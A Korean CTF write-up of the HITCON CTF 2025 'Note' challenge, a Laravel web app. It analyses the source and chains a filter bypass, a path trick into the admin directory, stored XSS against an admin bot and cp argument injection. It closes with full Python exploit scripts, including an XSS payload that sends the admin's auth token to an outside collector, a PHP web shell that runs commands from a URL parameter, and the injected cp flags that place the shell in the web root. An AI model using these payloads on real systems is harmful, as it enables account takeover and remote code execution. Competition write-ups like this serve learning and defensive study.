Home HITCON CTF 2025 - Note
Post
Cancel

HITCON CTF 2025 - Note

  • 키워드: Laravel, XSS, Argument Injection

분석

플래그 위치

플래그는 루트 디렉토리에 복사합니다.

1
ADD flag /flag

api.php

이 서비스는 Laravel 웹 프레임워크를 기반으로 동작하며, api.php에서 API 라우트가 정의되어 있습니다. 따라서 기본적으로 모든 요청은 /api/... 형태로 전달됩니다. 또한 auth:sanctum 미들웨어가 적용되어 있어, 일반적인 세션 기반 인증이 아닌 토큰 기반 인증을 거친 이용자 정보가 반환됩니다. 일부 라우트에는 DangerousWordFilter 미들웨어가 적용되어 요청이 해당 필터를 통해 추가적으로 검증됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;

Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
Route::post('/login',    [AuthController::class, 'login'])->middleware(DangerousWordFilter::class);

// New public route for serving admin files
Route::get('/announcement/{filename}', [FileController::class, 'servePublicAdminFile'])->where('filename', '.*');
Route::get('/announcements', [FileController::class, 'serveAllPublicAdminFile']);

Route::middleware('auth:sanctum')->group(function () {
    Route::post('/logout', [AuthController::class, 'logout'])->middleware(DangerousWordFilter::class);
    Route::get('/user', function (Request $request) {
        return $request->user();
    })->middleware(DangerousWordFilter::class);

    // File Upload and Download Routes
    Route::post('/upload', [FileController::class, 'upload'])->middleware(DangerousWordFilter::class);
    Route::get('/download/{filename}', [FileController::class, 'download'])->middleware(DangerousWordFilter::class);
    Route::get('/files', [FileController::class, 'getAllFiles']);

    // Admin command execution
    Route::post('/admin/testFile', [\App\Http\Controllers\AdminController::class, 'testFile']);
    Route::post('/admin/report', [\App\Http\Controllers\AdminController::class, 'report'])->middleware(DangerousWordFilter::class);

});

DangerousWordFilter.php - handle() 분석

이용자가 요청하는 body값에 ..admin이 있다면, 403 (Forbidden) 응답 코드를 반환합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function handle(Request $request, Closure $next): Response
    {
        if($request->path()==="api/login") {
            return $next($request);
        }
        $dangerousWords = ['badword1', 'badword2', 'badword3', '..', 'admin']; // Added '..'
        $rawBody = $request->getContent();
        if (is_string($rawBody)) {
            foreach ($dangerousWords as $word) {
                if (stripos($rawBody, $word) !== false) {
                    return response()->json(['error' => 'Request contains dangerous words.'], 403);
                }
            }
        }

        return $next($request);
    }

FileController.php - upload() 분석

FileController.phpupload()에서 파일 업로드를 처리합니다. 기본적으로 로그인이 되어있는 상태여야하며, basename()을 이용해서 username에 ../와 같은 문자를 방지합니다. 일반 유저의 경우 uploads/$username/에 업로드하는 파일이 저장되지만, 만약 usernameadmin이면 basePathadmin/으로 설정하여 일반 유저와 업로드되는 경로를 분리합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function upload(Request $request)
    {
        $request->validate([
            'file' => 'required|file|max:5', // Max 10MB file size
        ]);

        $user = Auth::user();
        if (!$user) {
            return response()->json(['error' => 'Unauthenticated.'], 401);
        }

        // Sanitize username
        $username = basename($user->username); // Ensure no path traversal in username

        // Determine disk and path based on admin status
        $disk = 'local';
        $basePath = 'uploads/' . $username;
        $publicUrl = null; // To store the public URL if applicable
        // Assuming 'is_admin' property exists on the User model
        if ($user->username === 'admin') {
            $disk = 'local'; // Corrected disk for admin
            $basePath = 'admin/';
        }

        if (!Storage::disk($disk)->exists($basePath)) {
            Storage::disk($disk)->makeDirectory($basePath);
        }

        $filePath = $request->file('file')->store($basePath); // Corrected storeAs parameter

        if (isset($user->is_admin) && $user->is_admin) { // Corrected publicUrl logic
            $publicUrl = "/api/announcement/".basename($filePath);
        }

        return response()->json([
            'message' => 'File uploaded successfully',
            'path' => basename($filePath),
            'disk' => $disk,
            'public_url' => $publicUrl // Will be null if not public
        ], 200);
    }

AdminController.php - testFile() 분석

이용자가 admin이 아닐 경우 401 (Unauthorized) 응답 코드를 반환합니다. 이용자가 요청한 파일 이름은 basename() 함수를 통해 확인되며, 이를 통해 Path Traversal을 방지합니다. 이후 정규 표현식을 이용해 flag 문자열이나 셸 메타 문자 등 Command Injection에 사용될 수 있는 특수 문자들을 차단합니다. 이어서 file_exists() 함수를 사용하여 admin의 파일 업로드 경로에 해당 파일이 실제로 존재하는지 확인합니다. 이러한 검증 과정을 모두 통과하면 최종적으로 cp 명령어를 실행하여 파일을 복사합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function testFile(Request $request)
    {
        $user = Auth::user();
        if ($user->username !== 'admin') {
            return response()->json( ['error' => 'Unauthenticated.'], 401);
        }
        $file = basename($request->input("file"));
        $dst = uniqid();
        if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
            return response()->json(['error'=>"Be a nice hacker"]);
        }
        $file = "../storage/app/private/admin/" . $file;

        if(!file_exists($file)){
            return response()->json(['error'=>"$file not exist"]);
        }
        exec("cp $file $dst");
        
        return response()->json(['output' => "/$dst"]);
    }

AdminController.php - report() 분석

일반 유저여야 node 명령어를 통해 url 파라미터를 통해서 visitor.js를 실행합니다.

1
2
3
4
5
6
7
8
9
10
public function report(Request $request) {
        $user = Auth::user();
        if ($user->username === 'admin') {
            return response()->json( ['error' => 'lonely?'], 400);
        }
        $url = $request->input("url");
        $cmd = "node ../visitor.js ".escapeshellarg($url) . " >> /proc/1/fd/1 2>&1 &";
        exec($cmd);
        return response()->json(['message'=>'ok', "cmd"=>$cmd]);
    }

visitor.js는 아래와 같습니다. 전달 받은 URL이 올바른 형태를 갖추었는지, /api/announcement/{postId}의 형태로 끝나는지 확인합니다. 올바른 형태라면, 해당 postId를 가진 게시글에 admin의 권한을 가진 봇이 방문합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import puppeteer from 'puppeteer';
import * as fs from 'fs';
const password = fs.readFileSync('/tmp/ADMIN_PASS','utf8');
const url = process.argv[2];
const HOST = process.argv[3] || 'app'; // **important**
(async () => {
  if(url === undefined) {
    console.log('Usage: node visitor.py URL')
    process.exit(-1);
  }
  console.log(`url=${url}`);
  const u = new URL(url);
  if (u.protocol != 'http:' || u.host != HOST || !/^\/api\/announcement\/.+/.test(u.pathname)) {
    console.log(`sus url, must protocol = http://, host = ${HOST}, pathname /api/announcement/{postid}`);
    process.exit(-1);
  }
  // Launch Firefox instead of Chromium
  const browser = await puppeteer.launch({
    browser: 'firefox',
    headless: true, // set to true if you don't want to see the browser
    extraPrefsFirefox: {
    'network.stricttransportsecurity.preloadlist': false, // disable auto https
    'dom.security.https_only_mode': false,
    'dom.security.https_first': false,
    'dom.serviceWorkers.enabled': true,
    'dom.serviceWorkers.testing.enabled': true, // allow SW on http: **important**
  }
  });

  const page = await browser.newPage();


  // Step 1: Go to Login
  await page.goto(`http://${HOST}/login`, { waitUntil: 'networkidle2' });
  console.log('login')
  // Step 2: Login as admin
  // Adjust selectors based on the actual login form structure
  await page.type('#username', 'admin');
  await page.type('#password', password);
  await Promise.all([
    page.click('#submit'),
    page.waitForNavigation({ waitUntil: 'networkidle2' }),
  ]);
  console.log('Go to next')
  // Step 3: Navigate to /announcement
  await page.goto(url, { timeout:5000, waitUntil: 'networkidle2' });
  await browser.close();
  process.exit(0);
})();

취약점 분석

JSON 유니코드 인코딩을 통한 DangerousWordFilter 우회

DangerousWordFilter.php에서 ..admin을 필터링하는데, \u002e, \u0061로 우회할 수 있습니다.

\를 통한 admin 디렉토리에 게시글 생성

위의 취약점과 연계하여 ..\admin이라는 username을 가진 이용자를 생성할 수 있습니다. basename()에서 \는 일반적인 문자라고 생각해서 Path Normalize를 수행하지 않고 $basePathuploads/..\admin가 되는데, Laravel의 Filesystem(Flysystem)을 통해 makeDirectory()를 호출하면 최종적으로 경로가 정규화되어 admin/으로 생성됩니다. 따라서 FileController.phpupload()에서 파일이 admin/에 저장되고 Announcement 페이지에 글을 추가할 수 있게된다. 따라서 /api/announcement/{postId}에 접근할 수 있게됩니다.

XSS

Laravel에서 파일에 대한 확장자를 업로드하려는 파일의 컨텐츠를 스니핑하여 설정합니다. 따라서 <html><script></script></html>와 같은 내용의 파일을 업로드하면 xxxx.html과 같은 파일을 생성할 수 있기 때문에 XSS를 트리거할 수 있습니다.

sw.js 우회

Service Worker에서 아래와 같은 코드 때문에 Content-Typetext/plain으로 설정이 되어 XSS가 안되는 문제가 있었습니다. 이 경우 HTT auth를 사용하여 우회할 수 있었는데 디코에서 이런 링크를 확인할 수 있었습니다. 봇이 Firefox를 사용하고 있었는데 이런건 어떻게 게싱을 해야할지 감이안오는군요…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
self.addEventListener('fetch', (event) => {
    const url = new URL(event.request.url);

    if (!filterEndpoints.some(endpoint => url.pathname.startsWith(endpoint))) {
        return;
    }
    event.respondWith(
        (async () => {
            try {
                // Step 1: Fetch the original response from the network
                const originalResponse = await fetch(event.request);

                const originalData = await originalResponse.text();
                const newResponseHeaders = new Headers(originalResponse.headers);
                newResponseHeaders.set('Content-Type', 'text/plain');

                return new Response(originalData, {
                    status: originalResponse.status,
                    statusText: originalResponse.statusText,
                    headers: newResponseHeaders
                });

            } catch (error) {
                console.log(error);
                return new Response('Unexpected error occur', {
                    status: 500,
                    headers: { 'Content-Type': 'text/plain' }
                });
            }
        })()
    );
});

Argument Injection

AdminController에서 cp 명령어를 사용하는데 대부분의 셸 메타문자를 필터링하지만 -를 사용할 수 있으므로, 아래와 같은 플래그를 사용하여 Argument Injection이 가능합니다. 따라서 정적 파일을 서빙하는 디렉토리에 PHP 파일을 생성하면 웹 셸을 이용하여 명령어를 실행시킬 수 있습니다.

1
2
-t, --target-directory=DIRECTORY: 파일을 특정 디렉토리에 복사합니다.
-S, --suffix=SUFFIX: 백업 파일의 접미사를 지정할 때 사용됩니다.

하지만 suffix를 설정하는 부분에서 필터링에 의해 .을 사용할 수 없다는 문제점이 있습니다. 이는 glob 패턴을 이용하여 --suffix=index[--0]php와 같은 방법으로 우회할 수 있습니다. .이 아스키 코드를 기준으로 -0 사이에 있기 때문에 index.php가 suffix로 붙을 수 있습니다. 옵션 부분에서도 이런 glob 문자가 동작하는 것은 다른 갓갓 해커님 덕분에 처음 알았습니다. ㄷㄷ

익스플로잇

익스플로잇 시나리오

  1. 유니코드를 이용하여 ..\admin 유저를 생성합니다.
  2. localStroage에 있는 admin의 토큰을 탈취하는 스크립트를 업로드합니다.
  3. PHP 웹 셸 업로드를 위해서 PHP 코드를 업로드 합니다.
  4. report 기능을 통해 admin 토큰을 탈취합니다.
  5. AdminController에서 file_exists()로 검증 하는 부분이 있으므로, Argument Injection 페이로드 부분과 같은 이름의 유저를 생성합니다.
  6. 탈취한 admin 토큰으로 cp 명령어를 실행시킵니다.
  7. 웹 셸을 통해 플래그를 획득합니다.

익스플로잇 코드

아래는 admin 토큰을 탈취하는 스크립트와 PHP 웹 셸을 업로드하는 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from requests import Session

URL = "http://lokalhost:8001"

admin_bypass_user = '{"username":"\\u002e\\u002e\\\\\\u0061dmin", "password":"123456"}'
REQ_BIN = ''
xss_files = {
    "file": ("tmp.txt", f"<html><script>fetch('{REQ_BIN}'.concat(localStorage['auth_token']))</script></html>", "text/plain")
}
php_files = {
    "file": ("tmp.txt", '<?php echo system($_GET["cmd"]);?>', "text/plain")
}

with Session() as sess:
    res = sess.post(f"{URL}/api/register", data=admin_bypass_user, headers={"Content-Type": "application/json"})
    res = sess.post(f"{URL}/api/login", data=admin_bypass_user, headers={"Content-Type": "application/json"})
    TOKEN = res.json()['token']
    print(TOKEN)
    res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=xss_files)
    XSS_PATH = res.json()['path']
    print(XSS_PATH)
    res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=php_files)
    PHP_SHELL_PATH = res.json()['path']
    print(PHP_SHELL_PATH)
    res = sess.post(f"{URL}/api/admin/report" ,headers={"Authorization":f"Bearer {TOKEN}"}, data={"url": f"http://asd:asd@app/api/announcement/{XSS_PATH}"})
    print(res.text)
    print("[+] Check your server")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from requests import Session

URL = "http://lokalhost:8001"
PHP_SHELL_PATH = ""
ADMIN_TOKEN = ""
test_files = {
    "file": ("tmp.txt", 'hi', "text/plain")
}
with Session() as sess:
    file_exists_bypass_user = f'{{"username":"\\u002e\\u002e\\\\\\u0061dmin\\\\{PHP_SHELL_PATH} -S index[--0]php -t build", "password":"123456"}}'
    res = sess.post(f"{URL}/api/register", data=file_exists_bypass_user, headers={"Content-Type": "application/json"})
    print(res.text)
    res = sess.post(f"{URL}/api/login", data=file_exists_bypass_user, headers={"Content-Type": "application/json"})
    print(res.text)
    TOKEN = res.json()['token']

    res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=test_files)
    print(res.text)

    res = sess.post(f"{URL}/api/admin/testFile", json={"file": f"{PHP_SHELL_PATH} -S index[--0]php -t build"}, headers={"Authorization": f"Bearer {ADMIN_TOKEN}"}, allow_redirects=False)
    res = sess.post(f"{URL}/api/admin/testFile", json={"file": f"{PHP_SHELL_PATH} -S index[--0]php -t build"}, headers={"Authorization": f"Bearer {ADMIN_TOKEN}"}, allow_redirects=False)
    print(res.text)

잠깐이지만 아주 재미있게 생각해볼 수 있었던 문제였습니다!

Swift에서 JavaScript를 다루는 방식

-

Comments powered by Disqus.